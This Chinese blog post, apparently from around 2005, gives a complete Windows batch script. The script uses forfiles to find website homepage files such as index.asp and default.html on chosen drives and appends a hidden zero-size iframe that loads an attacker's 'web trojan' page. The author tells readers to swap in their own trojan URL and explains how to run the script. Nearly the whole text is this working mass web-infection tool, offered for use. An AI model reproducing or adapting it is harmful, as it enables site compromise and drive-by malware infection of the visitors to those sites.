以前在网上发现了一个批量对网站首页加入挂马代马的软件,就有想法用批处理实现此功能 今天学了点批处理,刚好就想出来了,不是很完善,还是那句话...以后在改 利用forfiles这个命令可以简单实现 例如: forfiles /p d:\ /m index.asp /s /c "cmd.exe /c if @isdir==FALSE echo 代码 >>@path" /p d:\ 表示搜索D盘 /m /m index.asp 表示在D盘下搜索文件名为index.asp的文件 /s 搜索D盘下所有的文件夹 /c 这里是搜索到文件后执行的命令这是我执行的是if @isdir==FALSE echo 代码 >>@path 其中@isdir是forfiles的一个参数表示搜索到的index.asp是文件时返回FALSE(这里一定要大写不然无法成功) @path也是一个参数,表示获取该文件的绝对路尽 这个只实现对一个文件名搜索,不能搜索搜索多个,哪位知到请指教
下面给出一个完整的对指定主页名进行加入挂马代码的批处理 请注意里面的说名
@echo off echo 欢迎使用批量插入代码批处理 echo 编写人:伤脑筋 2005-11-7 echo. echo 注意↓注意↓注意↓注意↓ echo 复制本批处理前请将记事本的自动换行功能取消!否则将无法插入代码。 echo 然后请按下Ctrl+h键打开记事本替换功能! echo 将“查找内容”键入"马儿"(双引号不要) echo 将"替换为"键入"您自己网马的地址(如:[url]www.snj.com/muma.htm)[/url]" echo 切记不需要输入"http://"不然格式就了拉 echo 退出批处理请按Ctrl+c :st echo. echo 第一步:请选择您需要进搜索的盘符号(如c盘选"c")."h"选项为帮助信息. echo. choice /c cdefgh /m c为C盘,d为D盘,e为E盘,f为F盘,g为G盘,h为帮助. if errorlevel 6 goto h if errorlevel 5 goto g if errorlevel 4 goto f if errorlevel 3 goto e if errorlevel 2 goto d if errorlevel 1 goto c :c echo. echo 第二步:请选择要在"C"盘搜索要插入代码的主页名(只提供6种).例如(主页名为index.asp就选a) echo. choice /c sabcdef /m a为(index.asp),b为(index.htm)c为(index.html),d为(default.asp),e为
(default.htm),f为(default.html),"s"为返回上一及选项。 if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p c:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto c :dhtm forfiles /p c:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto c :dasp forfiles /p c:\ /m default.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto c :ihtml forfiles /p c:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto c :ihtm forfiles /p c:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto c :iasp forfiles /p c:\ /m index.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto c :d echo. echo 第二步:请选择要在"d"盘搜索要插入代码的主页名(只提供6种).例如(主页名为index.asp就选a) echo. choice /c sabcdef /m a为(index.asp),b为(index.htm)c为(index.html),d为(default.asp),e为
(default.htm),f为(default.html),"s"为返回上一及选项。 if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p d:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto d :dhtm forfiles /p d:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto d :dasp forfiles /p d:\ /m default.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto d :ihtml forfiles /p d:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto d :ihtm forfiles /p d:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto d :iasp forfiles /p d:\ /m index.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto d :e echo. echo 第二步:请选择要在"e"盘搜索要插入代码的主页名(只提供6种).例如(主页名为index.asp就选a) echo. choice /c sabcdef /m a为(index.asp),b为(index.htm)c为(index.html),d为(default.asp),e为
(default.htm),f为(default.html),"s"为返回上一及选项。 if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p e:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto e :dhtm forfiles /p e:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto e :dasp forfiles /p e:\ /m default.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto e :ihtml forfiles /p e:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto e :ihtm forfiles /p e:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto e :iasp forfiles /p e:\ /m index.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto e :f echo. echo 第二步:请选择要在"f"盘搜索要插入代码的主页名(只提供6种).例如(主页名为index.asp就选a) echo. choice /c sabcdef /m a为(index.asp),b为(index.htm)c为(index.html),d为(default.asp),e为
(default.htm),f为(default.html),"s"为返回上一及选项。 if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p f:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto f :dhtm forfiles /p f:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto f :dasp forfiles /p f:\ /m default.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto f :ihtml forfiles /p f:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto f :ihtm forfiles /p f:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto f :iasp forfiles /p f:\ /m index.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto f :g echo. echo 第二步:请选择要在"g"盘搜索要插入代码的主页名(只提供6种).例如(主页名为index.asp就选a) echo. choice /c sabcdef /m a为(index.asp),b为(index.htm)c为(index.html),d为(default.asp),e为
(default.htm),f为(default.html),"s"为返回上一及选项。 if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p g:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto g :dhtm forfiles /p g:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto g :dasp forfiles /p g:\ /m default.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto g :ihtml forfiles /p g:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto g :ihtm forfiles /p g:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto g :iasp forfiles /p g:\ /m index.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem 注意!如果您在复制时上面一行命令不是处在一行,请自行换成一行。 echo 出现错误提示是因为被写入文件路径是一个文件夹名 echo 命令已经执行完毕~恭喜代码全部插入。。。 echo 回车后将返回上及菜单 pause goto g :h echo 使用方法很简单!但在告诉您使用前先请您注意几个地方 echo 1:复制本批处理前请将记事本的自动换行功能取消,因为关键命令必须要是一行才能执行。 echo 2:请按下Ctrl+h键打开记事本替换功能!将“查找内容”键入"马儿"(双引号不要) echo 将"替换为"键入"您自己网马的地址(如:[url]www.snj.com/muma.htm)[/url]" echo 切记切记不需要输入"http://"因为命令里已经输入了一个 echo 3:使用方法... echo 在您看清楚需要注意的地方并且将网马地址替换后 echo 首先选择一个您要查找主页文件的磁盘名(如“C”盘就按C) echo 然后根据提示再选择您要在此盘中搜索的主页文件名字(如"index.asp"选a) echo 完成以上两步您就可以等待成功提示了!速度根据磁盘文件内容多少而定 echo 4:本批处理没使用变量,所以使用面很单一。(主要是为了能在一个批处理完成) echo 哪位要是写出用变量代替可选项的批处理记得加我QQ留个言给我 echo QQ:447228437 (一定要留言啊) echo 5:回车将跳主选项 pause goto st
将以上代码复制放到记事本保存,在将记事本的扩展名改为.bat运行就可以了 注意复制前要把记事本的"自动换行"功能去掉,否则会出错 还有本人刚发现如果直接在网页复制这行关键代码 forfiles /p g:\ /m index.asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe
src="http://马儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" 会在记事本里如上面那样显示,如果不把他改成一行的话批处理是无法运行的 所以我把批处理存为.jpg的图片格式又保存在网上了 大家访问下面的图片地址后全选网页,在复制,然后在粘贴在记事本里格式就对了,改为BAT运行就行了,如果还不能运行那就是你在复制前没把记事本的"自动换行"功能去掉 去掉后试试看...在罗嗦一句不能运行绝对是上面那行代码没在一行所致... 具体请看批处理 |
引用本页地址: http://www.yongfa365.com/item/f5880463076cc81c.html | |
相关链接 | | | | 文章分类 | | |
|